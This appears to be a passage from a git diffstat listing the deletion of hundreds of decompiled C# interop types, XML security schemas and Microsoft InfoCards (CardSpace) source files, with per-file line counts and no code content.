.../_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_MULTIPLE_TRUSTEE_OPERATION.cs | 15 - .../_OSVERSIONINFOW.cs | 18 - .../_PARTITION_STYLE.cs | 15 - .../_POLICY_AUDIT_EVENT_TYPE.cs | 15 - .../_POLICY_DOMAIN_INFORMATION_CLASS.cs | 15 - .../_POLICY_INFORMATION_CLASS.cs | 15 - .../_POLICY_LSA_SERVER_ROLE.cs | 15 - .../_POLICY_NOTIFICATION_INFORMATION_CLASS.cs | 15 - .../_PROCESSOR_CACHE_TYPE.cs | 15 - .../_PROC_THREAD_ATTRIBUTE_NUM.cs | 15 - .../_PROGRESS_INVOKE_SETTING.cs | 15 - .../_PSC_STATE.cs | 15 - .../_PS_RATE_PHASE.cs | 15 - .../_PaddingMode.cs | 15 - .../_RESOURCEMANAGER_INFORMATION_CLASS.cs | 15 - .../_RPCCALLBACKS.cs | 17 - .../_RPC_ASYNC_EVENT.cs | 15 - .../_RPC_HTTP_REDIRECTOR_STAGE.cs | 15 - .../_RPC_NOTIFICATION_TYPES.cs | 15 - .../_RPC_REQUEST.cs | 17 - .../_RPC_RESPONSE.cs | 17 - .../_SASL_AUTHZID_STATE.cs | 15 - .../_SC_ACTION_TYPE.cs | 15 - .../_SC_ENUM_TYPE.cs | 15 - .../_SC_STATUS_TYPE.cs | 15 - .../_SECURITY_ATTRIBUTES.cs | 17 - .../_SECURITY_IMPERSONATION_LEVEL.cs | 15 - .../_SECURITY_LOGON_SESSION_DATA.cs | 17 - .../_SECURITY_LOGON_TYPE.cs | 15 - .../_SETTINGSTATUS.cs | 15 - .../_SE_ADT_PARAMETER_TYPE.cs | 15 - .../_SE_OBJECT_TYPE.cs | 15 - .../_SID_NAME_USE.cs | 15 - .../_SPACTION.cs | 15 - .../_SPTEXT.cs | 15 - .../_STORAGE_ASSOCIATION_TYPE.cs | 15 - .../_STORAGE_BUS_TYPE.cs | 15 - .../_STORAGE_IDENTIFIER_CODE_SET.cs | 15 - .../_STORAGE_IDENTIFIER_TYPE.cs | 15 - .../_STORAGE_ID_NAA_FORMAT.cs | 15 - .../_STORAGE_MEDIA_TYPE.cs | 15 - .../_STORAGE_PORT_CODE_SET.cs | 15 - .../_STORAGE_PROPERTY_ID.cs | 15 - .../_STORAGE_QUERY_TYPE.cs | 15 - .../_STREAM_INFO_LEVELS.cs | 15 - .../_SYSTEM_POWER_STATE.cs | 15 - .../_SecDelegationType.cs | 15 - .../_TAPE_DRIVE_PROBLEM_TYPE.cs | 15 - .../_TASKDIALOG_COMMON_BUTTON_FLAGS.cs | 15 - .../_TASKDIALOG_ELEMENTS.cs | 15 - .../_TASKDIALOG_FLAGS.cs | 15 - .../_TASKDIALOG_ICON_ELEMENTS.cs | 15 - .../_TASKDIALOG_MESSAGES.cs | 15 - .../_TASKDIALOG_NOTIFICATIONS.cs | 15 - .../_THDTYPE.cs | 15 - .../_TOKEN_ELEVATION_TYPE.cs | 15 - .../_TOKEN_INFORMATION_CLASS.cs | 15 - .../_TOKEN_MANDATORY_LABEL.cs | 17 - .../_TOKEN_OWNER.cs | 17 - .../_TOKEN_STATISTICS.cs | 17 - .../_TOKEN_TYPE.cs | 15 - .../_TP_CALLBACK_ENVIRON.cs | 46 - .../_TRANSACTIONMANAGER_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_INFORMATION_CLASS.cs | 15 - .../_TRANSACTION_OUTCOME.cs | 15 - .../_TRANSACTION_STATE.cs | 15 - .../_TRUSTED_INFORMATION_CLASS.cs | 15 - .../_TRUSTEE_FORM.cs | 15 - .../_TRUSTEE_TYPE.cs | 15 - .../_URLZONEREG.cs | 15 - .../_USER_MARSHAL_CB_TYPE.cs | 15 - .../_WRITE_CACHE_CHANGE.cs | 15 - .../_WRITE_CACHE_ENABLE.cs | 15 - .../_WRITE_CACHE_TYPE.cs | 15 - .../_WRITE_THROUGH.cs | 15 - .../__MIDL_IBindStatusCallback_0001.cs | 15 - .../__MIDL_IBindStatusCallback_0002.cs | 15 - .../__MIDL_IBindStatusCallback_0003.cs | 15 - .../__MIDL_IBindStatusCallback_0004.cs | 15 - .../__MIDL_IBindStatusCallback_0005.cs | 15 - .../__MIDL_IBindStatusCallback_0006.cs | 15 - .../__MIDL_ICodeInstall_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0001.cs | 15 - .../__MIDL_IInternetSecurityManager_0002.cs | 15 - .../__MIDL_IInternetSecurityManager_0003.cs | 15 - .../__MIDL_IInternetZoneManager_0001.cs | 15 - .../__MIDL_IInternetZoneManager_0002.cs | 15 - .../__MIDL_IMonikerProp_0001.cs | 15 - .../__MIDL_IOleDocument_0001.cs | 15 - .../__MIDL_IPrint_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0002.cs | 15 - ...MIDL_itf_structuredquery_0000_0013_0001.cs | 15 - .../__enative_startup_state.cs | 15 - .../_iobuf.cs | 17 - .../_ldiv_t.cs | 17 - .../_tagACENUMOPTION.cs | 15 - .../_tagAUTOCOMPLETELISTOPTIONS.cs | 15 - .../_tagAUTOCOMPLETEOPTIONS.cs | 15 - .../_tagINTERNETFEATURELIST.cs | 15 - .../_tagOIBDG_FLAGS.cs | 15 - .../_tagPARSEACTION.cs | 15 - .../_tagPI_FLAGS.cs | 15 - .../_tagPSUACTION.cs | 15 - .../_tagQUERYOPTION.cs | 15 - .../addressing.xsd | 144 - .../addressing04.xsd | 133 - ...croot_003CSystem_003A_003AString ^_003E.cs | 17 - .../identity.xsd | 434 - .../localeinfo_struct.cs | 17 - .../0.xsd | 195 - .../0.xsd | 108 - .../tagACTCTXW.cs | 17 - .../tagACTIVATEFLAGS.cs | 15 - .../tagADVF.cs | 15 - .../tagApplicationType.cs | 15 - .../tagAspectInfoFlag.cs | 15 - .../tagBANDSITECID.cs | 15 - .../tagBINDSPEED.cs | 15 - .../tagBINDSTATUS.cs | 15 - .../tagBINDSTRING.cs | 15 - .../tagBIND_FLAGS.cs | 15 - .../tagBROWSERFRAMEOPTIONS.cs | 15 - .../tagCALLCONV.cs | 15 - .../tagCALLTYPE.cs | 15 - .../tagCATEGORYINFO_FLAGS.cs | 15 - .../tagCATSORT_FLAGS.cs | 15 - .../tagCDBURNINGEXTENSIONACTION.cs | 15 - .../tagCDBURNINGEXTENSIONRET.cs | 15 - .../tagCHANGEKIND.cs | 15 - .../tagCLSCTX.cs | 15 - .../tagCOINIT.cs | 15 - .../tagCOMSD.cs | 15 - .../tagCONDITION_OPERATION.cs | 15 - .../tagCONDITION_TYPE.cs | 15 - .../tagCOWAIT_FLAGS.cs | 15 - .../tagCPVIEW.cs | 15 - .../tagCTRLINFO.cs | 15 - .../tagDATADIR.cs | 15 - .../tagDCOM_CALL_STATE.cs | 15 - .../tagDESCKIND.cs | 15 - .../tagDESKBANDCID.cs | 15 - .../tagDISCARDCACHE.cs | 15 - .../tagDOMNodeType.cs | 15 - .../tagDVASPECT.cs | 15 - .../tagDVASPECT2.cs | 15 - .../tagEOLE_AUTHENTICATION_CAPABILITIES.cs | 15 - .../tagEXPCMDFLAGS.cs | 15 - .../tagEXPCMDSTATE.cs | 15 - .../tagEXTCONN.cs | 15 - .../tagExtendedErrorParamTypes.cs | 15 - .../tagExtentMode.cs | 15 - .../tagFOLDERFLAGS.cs | 15 - .../tagFOLDERVIEWMODE.cs | 15 - .../tagFUNCFLAGS.cs | 15 - .../tagFUNCKIND.cs | 15 - .../tagGETPROPERTYSTOREFLAGS.cs | 15 - .../tagGPFIDL_FLAGS.cs | 15 - .../tagGUIDKIND.cs | 15 - .../tagHITRESULT.cs | 15 - .../tagINTERVAL_LIMIT_KIND.cs | 15 - .../tagINVOKEKIND.cs | 15 - .../tagLIBFLAGS.cs | 15 - .../tagLOCKTYPE.cs | 15 - .../tagMARKUPLINKTEXT.cs | 15 - .../tagMARKUPMESSAGE.cs | 15 - .../tagMARKUPSIZE.cs | 15 - .../tagMARKUPSTATE.cs | 15 - .../tagMEMCTX.cs | 15 - .../tagMENUBANDHANDLERCID.cs | 15 - .../tagMENUPOPUPPOPUPFLAGS.cs | 15 - .../tagMENUPOPUPSELECT.cs | 15 - .../tagMKREDUCE.cs | 15 - .../tagMKSYS.cs | 15 - .../tagMSG.cs | 17 - .../tagMSHCTX.cs | 15 - .../tagMSHLFLAGS.cs | 15 - .../tagNAMESPACEWALKFLAG.cs | 15 - .../tagNSTCECLICKTYPE.cs | 15 - .../tagNSTCEHITTEST.cs | 15 - .../tagNSTCGNI.cs | 15 - .../tagNSTCITEMSTATE.cs | 15 - .../tagNSTCROOTSTYLE.cs | 15 - .../tagNSTCSTYLE.cs | 15 - .../tagOLECLOSE.cs | 15 - .../tagOLECONTF.cs | 15 - .../tagOLEDCFLAGS.cs | 15 - .../tagOLEGETMONIKER.cs | 15 - .../tagOLELINKBIND.cs | 15 - .../tagOLEMISC.cs | 15 - .../tagOLERENDER.cs | 15 - .../tagOLEUPDATE.cs | 15 - .../tagOLEVERBATTRIB.cs | 15 - .../tagOLEWHICHMK.cs | 15 - .../tagOPEN_AS_INFO_FLAGS.cs | 15 - .../tagPENDINGMSG.cs | 15 - .../tagPENDINGTYPE.cs | 15 - .../tagPERSIST_SPROPSTORE_FLAGS.cs | 15 - .../tagPKA_FLAGS.cs | 15 - .../tagPOINTERINACTIVE.cs | 15 - .../tagPROPBAG2_TYPE.cs | 15 - .../tagPROPDESC_AGGREGATION_TYPE.cs | 15 - .../tagPROPDESC_COLUMNINDEX_TYPE.cs | 15 - .../tagPROPDESC_CONDITION_TYPE.cs | 15 - .../tagPROPDESC_DISPLAYTYPE.cs | 15 - .../tagPROPDESC_ENUMFILTER.cs | 15 - .../tagPROPDESC_FORMAT_FLAGS.cs | 15 - .../tagPROPDESC_GROUPING_RANGE.cs | 15 - .../tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs | 15 - .../tagPROPDESC_SEARCHINFO_FLAGS.cs | 15 - .../tagPROPDESC_SORTDESCRIPTION.cs | 15 - .../tagPROPDESC_TYPE_FLAGS.cs | 15 - .../tagPROPDESC_VIEW_FLAGS.cs | 15 - .../tagPROPENUMTYPE.cs | 15 - .../tagPROPERTYUI_FLAGS.cs | 15 - .../tagPROPERTYUI_FORMAT_FLAGS.cs | 15 - .../tagPROPERTYUI_NAME_FLAGS.cs | 15 - .../tagPROPPAGESTATUS.cs | 15 - .../tagPROPVARIANT.cs | 60 - .../tagPictureAttributes.cs | 15 - .../tagQACONTAINERFLAGS.cs | 15 - .../tagQUERY_PARSER_MANAGER_OPTION.cs | 15 - .../tagREADYSTATE.cs | 15 - .../tagRECT.cs | 17 - .../tagREGCLS.cs | 15 - .../tagREGKIND.cs | 15 - .../tagSERVERCALL.cs | 15 - .../tagSF_TYPE.cs | 15 - .../tagSHCOLSTATE.cs | 15 - .../tagSHCONTF.cs | 15 - .../tagSHELLITEMCOMPAREHINTF.cs | 15 - .../tagSHELLPROPSHEETEXTPAGEID.cs | 15 - .../tagSHGDN.cs | 15 - .../tagSIATTRIBFLAGS.cs | 15 - .../tagSIGDN.cs | 15 - .../tagSIIGB.cs | 15 - .../tagSLGP_FLAGS.cs | 15 - .../tagSLR_FLAGS.cs | 15 - .../tagSMINFOFLAGS.cs | 15 - .../tagSMINFOMASK.cs | 15 - .../tagSMINFOTYPE.cs | 15 - .../tagSPBEGINF.cs | 15 - .../tagSPINITF.cs | 15 - .../tagSTATFLAG.cs | 15 - .../tagSTDMSHLFLAGS.cs | 15 - .../tagSTGC.cs | 15 - .../tagSTGMOVE.cs | 15 - .../tagSTGOP.cs | 15 - .../tagSTGTY.cs | 15 - .../tagSTREAM_SEEK.cs | 15 - .../tagSTRRET_TYPE.cs | 15 - .../tagSTRUCTURED_QUERY_MULTIOPTION.cs | 15 - .../tagSTRUCTURED_QUERY_PARSE_ERROR.cs | 15 - .../tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs | 15 - .../tagSTRUCTURED_QUERY_SINGLE_OPTION.cs | 15 - .../tagSVGIO.cs | 15 - .../tagSVUIA_STATUS.cs | 15 - .../tagSYSKIND.cs | 15 - .../tagShutdownType.cs | 15 - .../tagTEXTMETRICA.cs | 17 - .../tagTEXTMETRICW.cs | 17 - .../tagTYMED.cs | 15 - .../tagTYPEFLAGS.cs | 15 - .../tagTYPEKIND.cs | 15 - .../tagTYSPEC.cs | 15 - .../tagUASFLAGS.cs | 15 - .../tagURLTEMPLATE.cs | 15 - .../tagURLZONE.cs | 15 - .../tagUSERCLASSTYPE.cs | 15 - .../tagVARFLAGS.cs | 15 - .../tagVARIANT.cs | 74 - .../tagVARKIND.cs | 15 - .../tagVIEWSTATUS.cs | 15 - .../tagXFORMCOORDS.cs | 15 - .../tagXMLEMEM_TYPE.cs | 15 - .../tag_CIMTYPE_ENUMERATION.cs | 15 - .../tag_WBEMSTATUS.cs | 15 - .../tag_WBEMSTATUS_FORMAT.cs | 15 - .../tag_WBEM_BACKUP_RESTORE_FLAGS.cs | 15 - .../tag_WBEM_CHANGE_FLAG_TYPE.cs | 15 - .../tag_WBEM_COMPARISON_FLAG.cs | 15 - .../tag_WBEM_COMPILER_OPTIONS.cs | 15 - .../tag_WBEM_CONDITION_FLAG_TYPE.cs | 15 - .../tag_WBEM_CONNECT_OPTIONS.cs | 15 - .../tag_WBEM_FLAVOR_TYPE.cs | 15 - .../tag_WBEM_GENERIC_FLAG_TYPE.cs | 15 - .../tag_WBEM_GENUS_TYPE.cs | 15 - .../tag_WBEM_INFORMATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITS.cs | 15 - .../tag_WBEM_LOCKING.cs | 15 - .../tag_WBEM_QUERY_FLAG_TYPE.cs | 15 - .../tag_WBEM_REFRESHER_FLAGS.cs | 15 - .../tag_WBEM_SECURITY_FLAGS.cs | 15 - .../tag_WBEM_SHUTDOWN_FLAGS.cs | 15 - .../tag_WBEM_STATUS_TYPE.cs | 15 - .../tag_WBEM_TEXT_FLAG_TYPE.cs | 15 - .../tag_WBEM_TIMEOUT_TYPE.cs | 15 - .../tag_WBEM_UNSECAPP_FLAG_TYPE.cs | 15 - .../tag_WMI_OBJ_TEXT.cs | 15 - .../tm.cs | 17 - .../ws-identity-2007.xsd | 26 - .../ws-policy-2007.xsd | 141 - .../ws-policy.xsd | 118 - .../ws-securitypolicy-1/2.xsd | 1113 -- .../ws-securitypolicy.xsd | 979 -- .../ws-trust-1/3.xsd | 444 - .../ws-trust.xsd | 451 - .../xenc-schema.xsd | 137 - .../xml.xsd | 135 - .../xmldsig-core-schema.xsd | 310 - .../$_TypeDescriptor$_extraBytes_16.cs | 18 - .../$_s__RTTIBaseClassArray$_extraBytes_4.cs | 17 - .../AssemblyInfo.cs | 22 - .../BrowserNavConstants.cs | 15 - .../CallMode.cs | 15 - .../CommandStateChangeConstants.cs | 15 - .../EHExceptionRecord.cs | 26 - .../HDC__.cs | 17 - .../HINSTANCE__.cs | 17 - .../HWND__.cs | 17 - .../IGNOREMIME.cs | 15 - .../IMAGE_AUX_SYMBOL_TYPE.cs | 15 - .../IMPORT_OBJECT_NAME_TYPE.cs | 15 - .../IMPORT_OBJECT_TYPE.cs | 15 - .../AccessibilityApplicationManager.cs | 48 - .../InfoCards/AccessibilityHelperForVista.cs | 124 - .../AccessibilityHelperForXpWin2k3.cs | 169 - .../InfoCards/AppliesToBehaviorDecision.cs | 16 - .../AppliesToBehaviorDecisionTable.cs | 50 - .../Microsoft/InfoCards/Asn1Utilities.cs | 17 - .../InfoCards/AsymmetricCryptoSession.cs | 67 - .../Microsoft/InfoCards/AsyncParams.cs | 19 - .../Microsoft/InfoCards/AuditLog.cs | 25 - .../BeginCreateSecurityTokenRequest.cs | 36 - .../BeginGetFileNameFromUserRequest.cs | 72 - .../InfoCards/BeginSelectCardRequest.cs | 49 - .../Microsoft/InfoCards/BigInt.cs | 400 - .../InfoCards/BrowserPolicyValidator.cs | 26 - .../InfoCards/CancelAsyncOperationRequest.cs | 39 - .../Microsoft/InfoCards/Canonicalizers.cs | 248 - .../CheckStoreFileValidityRequest.cs | 77 - .../Microsoft/InfoCards/ClientRequest.cs | 405 - .../Microsoft/InfoCards/ClientUIRequest.cs | 305 - .../InfoCards/CloseCryptoHandleRequest.cs | 41 - .../InfoCards/CommunicationException.cs | 36 - .../Microsoft/InfoCards/Constants.cs | 23 - .../InfoCards/CorruptStoreException.cs | 30 - .../Microsoft/InfoCards/CreateCardRequest.cs | 52 - .../Microsoft/InfoCards/CredentialSelector.cs | 252 - .../InfoCards/CredentialSelectorType.cs | 22 - .../Microsoft/InfoCards/CryptoSession.cs | 232 - .../InfoCards/CustomTokenProvider.cs | 94 - .../InfoCards/DataAccessException.cs | 36 - .../Microsoft/InfoCards/DataBlob.cs | 16 - .../Microsoft/InfoCards/DataRow.cs | 116 - .../Microsoft/InfoCards/DataRowIndexBuffer.cs | 45 - .../Microsoft/InfoCards/DataSource.cs | 328 - .../Microsoft/InfoCards/DecryptRequest.cs | 61 - .../Microsoft/InfoCards/DeleteCardRequest.cs | 91 - .../Microsoft/InfoCards/DeleteStoreRequest.cs | 62 - .../Microsoft/InfoCards/DisplayClaim.cs | 57 - .../Microsoft/InfoCards/DisplayClaimType.cs | 15 - .../Microsoft/InfoCards/DisplayToken.cs | 85 - .../Microsoft/InfoCards/EncryptRequest.cs | 61 - .../Microsoft/InfoCards/EncryptedData.cs | 130 - .../InfoCards/EncryptedFileStoreHeader.cs | 36 - .../InfoCards/EncryptedObjectHeader.cs | 45 - .../Microsoft/InfoCards/EncryptionUtility.cs | 116 - .../EndCreateSecurityTokenRequest.cs | 25 - .../EndGetFileNameFromUserRequest.cs | 33 - .../InfoCards/EndSelectCardRequest.cs | 29 - .../Microsoft/InfoCards/ExceptionList.cs | 22 - .../InfoCards/ExceptionTranslationTable.cs | 41 - .../Microsoft/InfoCards/ExportException.cs | 36 - .../Microsoft/InfoCards/ExportFileRequest.cs | 114 - .../InfoCards/FailedToStartupUIException.cs | 31 - .../InfoCards/FileAccessException.cs | 36 - .../Microsoft/InfoCards/FileDataSource.cs | 1062 -- .../Microsoft/InfoCards/FreeIndexList.cs | 43 - .../InfoCards/GenerateDerivedKeyRequest.cs | 58 - .../InfoCards/GetBrowserTokenEndpoint.cs | 90 - .../InfoCards/GetBrowserTokenParameters.cs | 110 - .../InfoCards/GetBrowserTokenRequest.cs | 539 - .../InfoCards/GetCardDetailsRequest.cs | 42 - .../InfoCards/GetCertificateRequest.cs | 40 - .../InfoCards/GetCryptoTransformRequest.cs | 58 - .../Microsoft/InfoCards/GetFileNameResult.cs | 26 - .../InfoCards/GetImportFileNameRequest.cs | 44 - .../InfoCards/GetImportedCardRequest.cs | 120 - .../InfoCards/GetIsBrowserClientRequest.cs | 34 - .../InfoCards/GetKeyedHashRequest.cs | 46 - .../InfoCards/GetLastErrorDetailsRequest.cs | 53 - .../GetLedgerEntryForRecipientRequest.cs | 76 - .../Microsoft/InfoCards/GetLedgerRequest.cs | 60 - .../InfoCards/GetPolicyDetailsRequest.cs | 106 - .../InfoCards/GetRecipientListRequest.cs | 68 - .../InfoCards/GetRecipientRequest.cs | 65 - .../Microsoft/InfoCards/GetTokenRequest.cs | 258 - .../InfoCards/GetUserPreferenceRequest.cs | 50 - .../Microsoft/InfoCards/GlobalId.cs | 125 - .../Microsoft/InfoCards/HandleDictionary`1.cs | 53 - .../Microsoft/InfoCards/HashCoreRequest.cs | 55 - .../Microsoft/InfoCards/HashCryptoSession.cs | 60 - .../Microsoft/InfoCards/HashFinalRequest.cs | 54 - .../Microsoft/InfoCards/HashUtility.cs | 54 - .../HttpProxyTransportBindingElement.cs | 102 - .../InfoCards/IAccessibilityHelper.cs | 29 - .../Microsoft/InfoCards/ICanonicalizer.cs | 15 - .../Microsoft/InfoCards/ITokenFactory.cs | 19 - .../InfoCards/IdentityValidationException.cs | 36 - .../Microsoft/InfoCards/ImportException.cs | 36 - .../Microsoft/InfoCards/ImportFileRequest.cs | 102 - .../Microsoft/InfoCards/ImportRequest.cs | 91 - .../InfoCards/ImportStoreException.cs | 36 - .../Microsoft/InfoCards/IndexObject.cs | 48 - .../Microsoft/InfoCards/IndexedDataBuffer.cs | 336 - .../Microsoft/InfoCards/InfoCard.cs | 1387 --- .../InfoCards/InfoCardBinaryReader.cs | 146 - .../Microsoft/InfoCards/InfoCardClaim.cs | 92 - .../InfoCards/InfoCardClaimCollection.cs | 158 - .../Microsoft/InfoCards/InfoCardConstants.cs | 189 - .../InfoCards/InfoCardListRequest.cs | 107 - .../Microsoft/InfoCards/InfoCardMasterKey.cs | 124 - .../InfoCardMetadataExchangeClient.cs | 83 - .../InfoCardOfflineChainTrustValidator.cs | 93 - .../Microsoft/InfoCards/InfoCardPolicy.cs | 237 - .../InfoCards/InfoCardRequestException.cs | 36 - .../Microsoft/InfoCards/InfoCardSchemas.cs | 156 - .../Microsoft/InfoCards/InfoCardService.cs | 111 - .../InfoCardServiceClientCredentials.cs | 143 - .../Microsoft/InfoCards/InfoCardUIAgent.cs | 530 - .../InfoCards/InfoCardX509Validator.cs | 124 - .../InfoCards/InfoCardXmlSerializer.cs | 172 - .../InfocardExtendedInformationCollection.cs | 98 - .../InfocardExtendedInformationEntry.cs | 43 - .../InfoCards/IntermediatePolicyValidator.cs | 18 - .../InfoCards/InvalidCardException.cs | 36 - .../InvalidStoreProtectionKeyException.cs | 36 - .../Microsoft/InfoCards/IssuerInformation.cs | 72 - .../InfoCards/IssuerInformationEntry.cs | 24 - .../KerberosTokenFactoryCredential.cs | 22 - .../Microsoft/InfoCards/KeyBlock.cs | 47 - .../Microsoft/InfoCards/KeyGenRestartCodes.cs | 18 - .../Microsoft/InfoCards/LedgerEntry.cs | 211 - .../InfoCards/LedgerEntryCollection.cs | 65 - .../Microsoft/InfoCards/LifeTimeMonitor.cs | 95 - .../InfoCards/ListCardsInFileRequest.cs | 154 - .../InfoCards/ListDependantCardsRequest.cs | 81 - .../Microsoft/InfoCards/LocalIdCollection.cs | 39 - .../InfoCards/LogoValidationException.cs | 36 - .../Microsoft/InfoCards/ManageRequest.cs | 49 - .../MaxSessionCountExceededException.cs | 36 - .../InfoCards/MergeConflictCallback.cs | 10 - .../Microsoft/InfoCards/NativeMcppMethods.cs | 1158 --- .../Microsoft/InfoCards/NativeMethods.cs | 169 - .../InfoCards/OptionalRstParameters.cs | 102 - .../Microsoft/InfoCards/ParsedPolicy.cs | 45 - .../InfoCards/PasswordValidationException.cs | 36 - .../InfoCards/PinProtectionHelper.cs | 133 - .../Microsoft/InfoCards/Policy.cs | 419 - .../Microsoft/InfoCards/PolicyFactory.cs | 141 - .../Microsoft/InfoCards/PolicyType.cs | 15 - .../Microsoft/InfoCards/PolicyUsageContext.cs | 15 - .../Microsoft/InfoCards/PolicyUtility.cs | 23 - .../InfoCards/PolicyValidationException.cs | 36 - .../Microsoft/InfoCards/PolicyValidator.cs | 139 - .../InfoCards/ProcessExitedException.cs | 36 - .../Microsoft/InfoCards/ProcessManager.cs | 158 - .../Microsoft/InfoCards/ProcessMonitor.cs | 59 - .../Microsoft/InfoCards/ProtocolProfile.cs | 64 - .../InfoCards/Psha1DerivedKeyGenerator.cs | 87 - .../Microsoft/InfoCards/QueryDetails.cs | 23 - .../Microsoft/InfoCards/QueryParameter.cs | 51 - .../InfoCards/QueryStoreStatusRequest.cs | 48 - .../InfoCards/RPIdentityRequirement.cs | 80 - .../Microsoft/InfoCards/RSATokenProvider.cs | 43 - .../Microsoft/InfoCards/Recipient.cs | 414 - .../Microsoft/InfoCards/RecipientIdentity.cs | 87 - .../RemoteAsymmetricSignatureFormatter.cs | 43 - .../InfoCards/RemoteCryptoDecryptRequest.cs | 67 - .../RemoteCryptoRsaServiceProvider.cs | 131 - .../InfoCards/RemoteCryptoSignHashRequest.cs | 49 - .../InfoCards/RemoteCryptoTokenProvider.cs | 50 - .../Microsoft/InfoCards/RemoteTokenFactory.cs | 515 - .../RemoteX509AsymmetricSecurityKey.cs | 80 - .../Microsoft/InfoCards/RemoteX509Token.cs | 55 - .../Microsoft/InfoCards/Request.cs | 292 - .../Microsoft/InfoCards/RequestFactory.cs | 483 - .../InfoCards/RequestSecurityToken.cs | 154 - .../RequestSecurityTokenForGetBrowserToken.cs | 57 - ...questSecurityTokenForRemoteTokenFactory.cs | 88 - .../RequestSecurityTokenParameters.cs | 91 - .../RequestSecurityTokenResponseHelper.cs | 464 - .../RequestSecurityTokenSerializer.cs | 212 - .../Microsoft/InfoCards/ResolvePPIDRequest.cs | 52 - .../Microsoft/InfoCards/RoamingStoreFile.cs | 129 - .../InfoCards/RoamingStoreFileUtility.cs | 289 - .../InfoCards/RpcAllocMemCallback.cs | 13 - .../Microsoft/InfoCards/RpcAsyncResult.cs | 167 - .../InfoCards/RpcAuthorizeCallback.cs | 13 - .../Microsoft/InfoCards/RpcCallbacks.cs | 30 - .../RpcClientBindToServiceCallback.cs | 13 - .../Microsoft/InfoCards/RpcCryptoContext.cs | 105 - .../Microsoft/InfoCards/RpcCryptoRequest.cs | 45 - .../Microsoft/InfoCards/RpcFreeMemCallback.cs | 13 - .../InfoCards/RpcProcessNewRequestCallback.cs | 17 - .../Microsoft/InfoCards/RpcRequest.cs | 19 - .../Microsoft/InfoCards/RpcResponse.cs | 36 - .../RpcRundownClientContextHandle.cs | 13 - .../RpcUIAgentBindToServiceCallback.cs | 22 - .../InfoCards/RpcUIAgentGetWorkCallback.cs | 12 - .../Microsoft/InfoCards/RsaKeyGen.cs | 218 - .../Microsoft/InfoCards/SafeCryptoKey.cs | 108 - .../InfoCards/SafeCryptoKeyHandle.cs | 30 - .../Microsoft/InfoCards/SafeJobHandle.cs | 37 - .../Microsoft/InfoCards/SafeNativeHandle.cs | 27 - .../InfoCards/SafeRsaProviderHandle.cs | 54 - .../Microsoft/InfoCards/SaveCardRequest.cs | 81 - .../InfoCards/SaveLedgerEntryRequest.cs | 33 - .../InfoCards/SaveRecipientRequest.cs | 65 - .../Microsoft/InfoCards/SecondaryIndex.cs | 334 - .../InfoCards/SecondaryIndexDefinition.cs | 84 - .../Microsoft/InfoCards/SecondaryIndexItem.cs | 26 - .../Microsoft/InfoCards/SecondaryIndexList.cs | 203 - .../InfoCards/SecondaryIndexSettings.cs | 18 - .../InfoCards/SecurityKeyTypeInternal.cs | 15 - .../InfoCards/SelfIssuedAuthAsymmetricKey.cs | 107 - .../InfoCards/SelfIssuedAuthProofToken.cs | 82 - .../SelfIssuedAuthRSACryptoProvider.cs | 63 - ...fIssuedAuthRSAPKCS1SignatureDeformatter.cs | 40 - ...elfIssuedAuthRSAPKCS1SignatureFormatter.cs | 40 - .../InfoCards/SelfIssuedSamlTokenFactory.cs | 312 - .../SelfIssuedTokenFactoryCredential.cs | 24 - .../InfoCards/SendAgentStatusRequest.cs | 63 - .../SerializationIncompleteException.cs | 19 - .../InfoCards/ServiceBusyException.cs | 36 - .../InfoCards/SetUserLanguageRequest.cs | 36 - .../InfoCards/SetUserPreferenceRequest.cs | 60 - .../Microsoft/InfoCards/SignHashRequest.cs | 51 - .../Microsoft/InfoCards/SignatureHeader.cs | 20 - .../Microsoft/InfoCards/StorableObjectType.cs | 21 - .../Microsoft/InfoCards/StoreConnection.cs | 308 - .../InfoCards/SymmetricCryptoSession.cs | 83 - .../Microsoft/InfoCards/SystemIdentity.cs | 62 - .../InfoCards/SystemShuttingDownException.cs | 36 - .../InfoCards/TokenCreationException.cs | 36 - .../InfoCards/TokenCreationParameter.cs | 349 - .../Microsoft/InfoCards/TokenDescriptor.cs | 105 - .../Microsoft/InfoCards/TokenFactoryBase.cs | 44 - .../InfoCards/TokenFactoryCredential.cs | 87 - .../InfoCards/TokenFactoryCredentialType.cs | 18 - .../InfoCards/TokenFactoryFactory.cs | 27 - .../InfoCards/TransformBlockRequest.cs | 61 - .../InfoCards/TransformCryptoSession.cs | 47 - .../InfoCards/TransformFinalBlockRequest.cs | 55 - .../InfoCards/TrustExchangeException.cs | 36 - .../InfoCards/UIAgentAsyncBeginRequest.cs | 108 - .../InfoCards/UIAgentAsyncEndRequest.cs | 78 - .../Microsoft/InfoCards/UIAgentAsyncParams.cs | 27 - .../InfoCards/UIAgentCrashedException.cs | 14 - .../UIAgentInitializationException.cs | 25 - .../Microsoft/InfoCards/UIAgentMonitor.cs | 76 - .../InfoCards/UIAgentMonitorHandle.cs | 36 - .../Microsoft/InfoCards/UIAgentRequest.cs | 138 - .../Microsoft/InfoCards/UIEndRequest.cs | 30 - .../Microsoft/InfoCards/UnlockCardRequest.cs | 58 - .../UnsupportedPolicyOptionsException.cs | 36 - .../InfoCards/UntrustedRecipientException.cs | 36 - .../UserNameTokenFactoryCredential.cs | 31 - .../Microsoft/InfoCards/UserPreference.cs | 93 - .../Microsoft/InfoCards/Utility.cs | 427 - .../Microsoft/InfoCards/VerifyHashRequest.cs | 63 - .../InfoCards/WSIdentityFaultException.cs | 98 - .../Microsoft/InfoCards/X509AudioLogo.cs | 23 - .../X509CertificateTokenFactoryCredential.cs | 68 - .../Microsoft/InfoCards/X509ImageLogo.cs | 23 - .../Microsoft/InfoCards/X509Logo.cs | 62 - .../Microsoft/InfoCards/X509LogoDataType.cs | 14 - .../Microsoft/InfoCards/X509LogoType.cs | 16 - .../InfoCards/X509LogoTypeExtension.cs | 201 - .../InfoCards/X509RecipientIdentity.cs | 63 - .../Microsoft/InfoCards/XmlNames.cs | 863 -- .../NEGOTIATE_MESSAGES.cs | 15 - .../OLECMDEXECOPT.cs | 15 - .../OLECMDF.cs | 15 - .../OLECMDID.cs | 